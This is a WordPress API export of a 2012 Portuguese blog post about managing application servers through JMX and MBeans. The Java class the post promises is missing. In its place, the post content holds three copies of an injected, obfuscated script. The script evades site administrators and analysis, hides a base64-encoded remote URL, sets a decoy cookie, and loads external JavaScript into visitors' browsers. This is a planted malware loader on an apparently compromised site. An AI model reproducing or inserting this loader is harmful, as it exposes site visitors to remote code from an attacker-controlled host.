{"id":3695,"date":"2012-12-17T19:51:32","date_gmt":"2012-12-17T21:51:32","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=3695"},"modified":"2025-10-26T22:34:44","modified_gmt":"2025-10-27T01:34:44","slug":"gerenciando-o-servidor-com-server-mbean-e-jmx","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/12\/17\/gerenciando-o-servidor-com-server-mbean-e-jmx\/","title":{"rendered":"Gerenciando o servidor com Server MBean e JMX"},"content":{"rendered":"<p style=\"text-align: justify;\">O <a title=\"JMX\" href=\"http:\/\/www.oracle.com\/technetwork\/java\/javase\/tech\/javamanagement-140525.html\" target=\"_blank\" rel=\"noopener\">JMX<\/a> \u00e9 uma tecnologia que permite o gerenciamento\u00a0de recursos como aplica\u00e7\u00f5es, dispositivos, servi\u00e7os, etc. A maioria dos servidores de aplica\u00e7\u00f5es utiliza essa tecnologia que j\u00e1 vem por padr\u00e3o no J2SE 5 e 6. O \u00fanico problema \u00e9 que \u00e9 complicado realizar as opera\u00e7\u00f5es. O primeiro passo \u00e9 realizar um conex\u00e3o com o servidor que possui os MBeans, criar uma interface, carregar um proxy e executar m\u00e9todos por essa interface. O procedimento passo a passo, \u00e9 descrito <a title=\"Custom JMX\" href=\"http:\/\/docs.oracle.com\/javase\/tutorial\/jmx\/remote\/custom.html\">aqui<\/a> ou nesse <a title=\"JMX Tutorial\" href=\"http:\/\/docs.oracle.com\/javase\/6\/docs\/technotes\/guides\/jmx\/tutorial\/tutorialTOC.html\" target=\"_blank\" rel=\"noopener\">tutorial<\/a>.<\/p>\n<p style=\"text-align: justify;\">Resolvi encapsular o l\u00f3gica de execu\u00e7\u00e3o em uma classe, mas queria evitar de ter que implementar uma interface para cada MBean a ser utilizado. E esse pensamento resultou na seguinte classe:<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O JMX \u00e9 uma tecnologia que permite o gerenciamento\u00a0de recursos como aplica\u00e7\u00f5es, dispositivos, servi\u00e7os, etc. A maioria dos servidores de aplica\u00e7\u00f5es utiliza essa tecnologia que j\u00e1 vem por padr\u00e3o no J2SE 5 e 6. O \u00fanico problema \u00e9 que \u00e9 <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/12\/17\/gerenciando-o-servidor-com-server-mbean-e-jmx\/\">Continue lendo  <span class=\"screen-reader-text\">  Gerenciando o servidor com Server MBean e JMX<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10,9,6],"tags":[],"class_list":["post-3695","post","type-post","status-publish","format-standard","hentry","category-java","category-jee","category-oracle","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3695","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=3695"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3695\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=3695"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=3695"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=3695"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}